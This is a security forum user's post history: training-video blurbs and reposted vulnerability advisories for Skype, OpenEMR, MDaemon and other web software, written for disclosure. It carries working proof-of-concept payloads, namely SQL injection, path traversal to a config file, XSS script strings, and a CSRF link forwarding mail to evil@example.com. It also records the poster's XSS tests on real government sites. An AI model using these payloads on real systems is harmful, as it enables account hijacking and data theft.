Praetorian503
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Posts posted by Praetorian503
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Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications.
This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below:
SecurityTube Linux Assembly Expert -
Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications.
This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below:
SecurityTube Linux Assembly Expert -
Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications.
This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below:
SecurityTube Linux Assembly Expert -
Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications.
This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Source: http://www.securitytube.net/video/6980 -
Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications.
This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below:
SecurityTube Linux Assembly Expert -
Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications.
This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Source: http://www.securitytube.net/video/6977 -
Description: In this video I will show you how to use Scapy for sniffing internal network packets.
Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying.
Original Source:
Source: Sniffing With Scapy -
Description: In this video I will show you how to use Netcat for advanced exploitation techniques. In this video I will show you how to get windows shell using netcat and grabbing banner, port scanning etc ..
Most of the tools in any hacker or pentester’s arsenal are task-specific; they specialize in one function only but Netcat, also known as the ‘TCP/IP Swiss Army Knife,’ does not fall into this category. Netcat is a tool capable of writing data across a network using TCP or UDP protocol but this simple capability allows it to perform many functionalities. Its capability to create almost any kind of connection makes it a simple and efficient network debugging and exploration tool. It has been built in such a manner that it can act as a client as well as a server, which elevates its utility to a higher level.
Source: - InfoSec Institute Resources – Netcat: TCP/IP Swiss Army Knife
Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying.
Original Source:
Source: Netcat - Tcp-Ip Swiss Army Knife -
Description: This presentation will unveil a new tool for hijacking executables and discuss the underlying techniques it uses. Binject is a tool that can be used by pen-testers to establish a persistent foothold on a compromised host through trojanizing a system binary, or anyone with a burning desire to add functionality to a compiled program. Original techniques for process injection developed for this tool will be discussed in detail.
Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying.
Original Source:
Source: Blackhat 2010 - The Black Art Of Binary Hijacking -
Skype Community suffers from a mail encoding vulnerability that allows for cross site scripting.
Title:
======
Skype Community - Mail Encoding Web Vulnerability
Date:
=====
2013-02-21
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=800
MSRC ID: 13493
VL-ID:
=====
800
Common Vulnerability Scoring System:
====================================
3.5
Introduction:
=============
Skype is a proprietary voice-over-Internet Protocol service and software application originally created in 2003 by Swedish entrepreneur
Niklas Zennström and his Danish partner Janus Friis. It has been owned by Microsoft since 2011. The service allows users to communicate
with peers by voice, video, and instant messaging over the Internet. Phone calls may be placed to recipients on the traditional telephone
networks. Calls to other users within the Skype service are free of charge, while calls to landline telephones and mobile phones are charged
via a debit-based user account system. Skype has also become popular for its additional features, including file transfer, and videoconferencing.
Competitors include SIP and H.323-based services, such as Linphone, as well as the Google Talk service, Mumble and Hall.com.
Skype has 663 million registered users as of September 2011. The network is operated by Microsoft, which has its Skype division headquarters
in Luxembourg. Most of the development team and 44% of the overall employees of the division are situated in Tallinn and Tartu, Estonia.
Unlike most other VoIP services, Skype is a hybrid peer-to-peer and client–server system. It makes use of background processing on computers
running Skype software. Skype`s original proposed name (Sky Peer-to-Peer) reflects this fact. Some network administrators have banned Skype
on corporate, government, home, and education networks, citing reasons such as inappropriate usage of resources, excessive bandwidth usage,
and security concerns.
(Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Skype)
Abstract:
=========
The Vulnerability Laboratory Research Team discovered a mail filter encoding web vulnerability in the official Skype Website Application.
Report-Timeline:
================
2012-12-27: Researcher Notification & Coordination
2012-12-28: Vendor Notification
2013-01-05: Vendor Response/Feedback
2013-02-13: Vendor Fix/Patch
2013-02-21: Public Disclosure
Status:
========
Published
Affected Products:
==================
Microsoft Corp.
Product: Skype Community - Lithium Forums 2012 Q4
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
A persistent mail encoding web vulnerability is detected in the official Skype Community Portal Website Application.
The vulnerability allows remote attackers to send own malicious script code as invite mail message (persistent) to
hijack or phish skype application user accounts.
The vulnerability in the skype community (forum) is located in the `invite a friend to use skype` function
with the bound vulnerable username parameter. The malicious code will be executed when the attacker injects
script code as friend`s name in the invite a friend to use skype function. After the include the attacker
needs to include the receiver of the mail and can directly send it via the skype community formular.
The skype system generates a link with the session details when processing to display the download link in a mail.
The script code of the formular will be included to the mail and can only be executed out of the generated link
with the bound session and input details of the sender. Affected is the generated main skype download link in the
mail but also the download link of the mobile version for android.
Vulnerable Section(s):
[+] Skype Community - Forums [community.skype.com]
Vulnerable Module(s):
[+] Forums [Notification] - Invite a friend to use skype
Vulnerable Input(s):
[+] Friends Name
Vulnerable Parameter(s):
[+] h
[+] &b
Affected Section(s):
[+] Mail - Skype Main Download Link
[+] Mail - Skype Mobile Android Download Link
Proof of Concept:
=================
The persistent vulnerability can be exploited by remote attackers without privileged community application user account
with low or medium required user interaction. For demonstration or reproduce ...
Note:
The problem occurs in the validation of the mail encoding when processing to calculate (generate) the software download
link with the bound session details/information of the sender.
Review: Mail - Skype Main Download Link
<td style="font-family: Helvetica,Arial,sans-serif; font-size: 14px; line-height: 16px; color:#FFFFFF; text-decoration: none;
font-weight: bold;" align="left" valign="middle"><a href="http://my.email.skype.com/r/RNUYOQ9/N2NMYT/0GGM4W2M/3TRE7KH/
B6VEVG/DX/h?a=%20%20%20%20">&b=%2520%2520%2520%2520%26quot%3b%26gt%3b&c=cm%5fmmc=EMTR|0312%5fB6-%5f-z213-%5f-
0200271212DEde%26ed_rid=_edid__%26ed_mid=48525151" style="text-decoration: none; font-family: Helvetica,Arial,sans-serif;
font-size: 14px; line-height: 16px; color:#FFFFFF; font-weight: bold;" title="Get the new Skype for Android" target="_blank">
<span><font style="text-decoration: none; font-family: Helvetica,Arial,sans-serif; font-size: 14px;
line-height: 16px; color:#FFFFFF; font-weight: bold;">Skype herunterladen</font></span></a></td>
PoC:
http://my.email.skype.com/r/RNUYOQ9/N2NMYT/0GGM4W2M/3TRE7KH/B6VEVG/DX/h
?a=%20%20%20%20%22%3E[SPLIT]&b=%2520%2520%26quot%3b%26gt%3b[PERSISTENT OR NON-PERSISTENT SCRIPT CODE!]&
c=cm%5fmmc=EMTR|0312%5fB6-%5f-z213-%5f-0200271212DEde%26ed_rid=_edid__%26ed_mid=48525151
Sender: info@email.skype.com
Answer: info.6VVDIE4D.48525151@email.skype.com
Reference(s):
http://www.skype.com/intl/en/tell-a-friend/
Solution:
=========
The vulnerability can be patched by parsing the software download link when processing to generate (download link) with the bound user session.
Restrict the input fields via filter or stable mask in the tell a friend to use skype function to prevent against future script code executions
out of the skype mail notification template.
Risk:
=====
The security risk of the filter mail encoding or validation vulnerability is estimated as medium(+).
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
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Copyright © 2012 | Vulnerability Laboratory
--
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.comSource: PacketStorm
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PHPMyGallery versions 1.51.010 and below suffer from cross site scripting and local file disclosure vulnerabilities.
Source: PacketStorm
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Web Cookbook suffers from file disclosure and remote SQL injection vulnerabilities.
# Web Cookbook Multiple Vulnerability
# By cr4wl3r http://bastardlabs.info
# Script: http://sourceforge.net/projects/webcookbook/
# Tested: Win 7
# Proof of Concept
# SQL Injection
http://bastardlabs/[path]/rezeptanzeige.php?currid=[SQLi]
http://bastardlabs/[path]/rezeptanzeige.php?currid=-9999%20union%20select%201,version(),3,4,5,6,7,8,9,10--
# Remote File Disclosure
# Bugs found /admin/dumpdb.php
--------------------------
1 <?php
2 $outfile = $_GET['outfile'];
3 header("Content-Type: text/plain");
4 header("Content-length: " . filesize("../upload/" . $outfile));
5 header("Content-Disposition: attachment; filename=" . $outfile);
6 readfile("../upload/" . $outfile);
7 ?>
--------------------------
http://bastardlabs/[path]/admin/dumpdb.php?outfile=../[file]
http://bastardlabs/[path]/admin/dumpdb.php?outfile=../env_db.php
# Demo:
http://bastardlabs.info/demo/WebCookbook1.png
http://bastardlabs.info/demo/WebCookbook2.pngSource: PacketStorm
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OpenEMR version 4.1.1 suffers from a cross site scripting vulnerability.
OpenEMR 4.1.1 (site param) Remote XSS Vulnerability
Vendor: OpenEMR
Product web page: http://www.open-emr.org
Affected version: 4.1.1
Summary: OpenEMR is a Free and Open Source electronic health records and medical
practice management application that can run on Windows, Linux, Mac OS X, and many
other platforms.
Desc: OpenEMR suffers from a XSS issue due to a failure to properly sanitize user-supplied
input to the 'site' GET parameter in the central 'globals.php' script which is called by
every script. Attackers can exploit this weakness to execute arbitrary HTML and script
code in a user's browser session.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.4
MySQL 5.5.25a
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5129
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5129.php
Vendor: http://www.open-emr.org/wiki/index.php/OpenEMR_Patches
09.02.2013
--
http://localhost/openemr/[DIR]/[SCRIPT]?site="><script>alert(1);</script>Source: PacketStorm
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Description: In this video i will show you how to use Scapy for port scanning. In this demo i will show you how to get open ports with services. Scapy is a very powerful network exploitation and security tool.
Using Scapy python modules you can make a your own port scanner.
Scapy : - Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. It can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery (it can replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f, etc.). It also performs very well at a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining technics (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc.
Scapy
Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying.
Original Source:
Source: Port Scanning Using Scapy -
Description: In this video i will show you how to use a Simple Python Reverse Shell. Python Shell code written by Devid Kannedy.
Script : - https://www.trustedsec.com/files/simple_py_shell.py
Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying.
Original Source:
Source: Python Reverse Shell-
1
-
-
[*]Target:
http://www.mfa.gov.md/
[*]Vulnerable parameter:
Search
[*]Injected script:
[COLOR="#FF0000"]<script>alert('Praetorian503@Romanian Security Team')</script>[/COLOR]
[COLOR="#FF0000"]<script>alert(document.cookie)</script>[/COLOR][*]Status:
Vulnerability Reported!
[*]Screenshot: Link
-
[*]Target:
http://www.mdrt.ro/
[*]Vulnerable parameter:
Search
[*]Injected script:
[COLOR="#FF0000"]<script>alert('Praetorian503@Romanian Security Team')</script>[/COLOR][*]Status:
Vulnerability Reported!
[*]Screenshot: Link
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Description: “Protecting Big Data From Cyber APT in the Cloud” Bill “@oncee” Gardner
Source : - ShmooCon Firetalks 2013 (Hacking Illustrated Series InfoSec Tutorial Videos)
Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying.
Original Source:
Source: Shmoocon 2013 - Protecting Big Data From Cyber Apt In The Cloud -
Shmoocon 2013 - Extending The 20 Critical Security Controls To Gap Assessments And Security Maturity Modelling
Description: “Extending the 20 Critical Security Controls to Gap Assessments and Security Maturity Modelling” John “@pinfosec” Willis
Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying.
Original Source:
-
Alt-N MDaemon version 13.0.3 WorldClient and WebAdmin applications suffer from a cross site request forgery vulnerability.
=====================================================================================
Alt-N MDaemon's WorldClient & WebAdmin Cross-Site Request Forgery
Vulnerability
=====================================================================================
Software: Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/
Vuln Type: Cross-Site Request Forgery
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_and_WebAdmin_CSRF.html
Discovered: 25/07/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html)
Disclosed: 18/02/2013
VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient and WebAdmin applications are prone to a cross-site
request-forgery vulnerability. It should be noted that partial
protection is provided by the Session parameter, but this alone cannot
be considered as an adequate protection mechanism.
An attacker can exploit this issue to perform different actions on the
affected application without the user's consent. For example, the
attacker can change the user's password, forward a copy of the user's
emails to a different email account, retrieve his/her address book,
send email messages to other users/email addresses and/or perform
other similar tasks.
Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.
PoC Exploit:
============
Change Password:
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&Password=Letme1n&ConfirmPassword=Letme1n
Enable Forwarding:
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=evil%40example.comSource: PacketStorm
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WordPress Pretty Link plugin version 1.6.3 suffers from a cross site scripting vulnerability.
# Exploit Title: Wordpress pretty-link? plugin XSS in SWF
# Release Date: 20/02/13
# Author: hip [Insight-Labs]
# Contact: hip@insight-labs.org | Website: http://insight-labs.org
# Software Link: http://downloads.wordpress.org/plugin/pretty-link.1.6.3.zip
# Vendor Homepage: http://prettylinkpro.com/
# Tested on: XPsp3
# Affected version: 1.6.3 before
# Google Dork: inurl:/wp-content/plugins/pretty-link/
# REF:CVE-2013-1636
-----------------------------------------------------------------------------------------------------------------------
# Introduction:
Pretty-link is Shrink, beautify, track, manage and share any URL on or off of your WordPress website. Create links that look how you want using your own domain name!
-------------------------------------------------------------------------------------------------------------------------
# XSS - Proof Of Concept:
vulnerable path:
/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf
vulnerabile parameter:get-data
POC:
/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf?get-data=(function(){alert(xss)})()
-------------------------------------------------------------------------------------------------------------------------
# Patch:
-- Vendor was notified on the 23/01/2013
-- Vendor released version 1.6.3 on 25/01/2013 Fixed the bug
-- REF:http://wordpress.org/extend/plugins/pretty-link/changelog/
-------------------------------------------------------------------------------------------------------------------------Source: PacketStorm
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The Alt-N MDaemon version 13.0.3 WorldClient application suffers from a predictable session identifier vulnerability.
======================================================================
Alt-N MDaemon's WorldClient Predictable Session ID Vulnerability
======================================================================
Software: Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/
Vuln Type: Session ID Prediction
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Predictable_Session_ID.html
Discovered: 25/07/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html)
Disclosed: 18/02/2013
VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient is the web interface of the MDaemon email server. It
has been identified that application session state is not maintained
by the user's session cookie but by the URL "Session" parameter
instead. This parameter is transmitted with every user request sent to
the WorldClient web application and under certain circumstances future
session IDs can be successfully predicted.
The use of predictable session IDs for authentication makes
WorldClient prone to session hijacking attacks. If the attacker can
generate a current valid session ID then he/she may be able to access
webmail accounts without possessing a valid username/password. The
impact of the attack is significantly reduced because WorldClient
associates the client's IP address with each session ID produced.
However, certain network setups or other scenarios may exist that
could render the IP restriction ineffective.
Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.
Pre-Requisites:
---------------
1) The attacker needs to get a current or expired session ID.
a) Google Search: "WorldClient.dll?Session="
Steal an HTTP request and observe the Referer field
2) The MDaemon service or the machine has not been restarted since the
captured session ID was generated (There may be a way to deal with
this but further research is needed).Source: PacketStorm
-
Alt-N MDaemon version 13.0.3 suffers from a cross site scripting vulnerability in the email body due to a lack of sanitization.
==============================================================
Alt-N MDaemon Email Body HTML/JS Injection Vulnerability
==============================================================
Software: Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/
Vuln Type: HTML/JS Injection
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_Email_Body_HTML_JS_Injection.html
Discovered: 14/09/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html)
Disclosed: 18/02/2013
VULNERABILITY DESCRIPTION:
==========================
Alt-N MDaemon is prone to an HTML/Javascript injection vulnerability
because it fails to sanitize user-supplied input.
Attacker-supplied HTML and/or JavaScript code could run in the context
of the affected site, potentially allowing the attacker to steal
cookie-based authentication credentials and control how the site is
rendered to the user; other attacks are also possible.
Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.
PoC Exploit:
============
<<!-------->script>alert('XSS');<<!-------->/script>Source: PacketStorm
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The Alt-N MDaemon version 13.0.3 WorldClient application suffers from a username enumeration vulnerability based on responses provided.
====================================================================
Alt-N MDaemon's WorldClient Username Enumeration Vulnerability
====================================================================
Software: Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/
Vuln Type: Username Enumeration
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Username_Enumeration.html
Discovered: 14/09/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html)
Disclosed: 18/02/2013
VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient is prone to a username-enumeration weakness by
querying the user's Free-Busy schedule. The DTSTART and DTEND
parameters in the returned FBData.vfb file, may indicate whether an
email address/username is valid or not.
Attackers may exploit this weakness to discern valid usernames. This
may aid them in brute-force password cracking or other attacks.
Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.
PoC Exploit:
============
http://www.example.com:3000/WorldClient.dll?View=fbinfo&User=mickey.mouse@qsecure.com.cy
For valid email accounts the DTSTART and DTEND values in the .vfb file
start with a recent date backwards (e.g. 20120505) whereas for invalid
ones the date is 19801231.Source: PacketStorm
SLAE Exam Format
in Tutoriale video
Posted
Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications.
This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below:
SecurityTube Linux Assembly Expert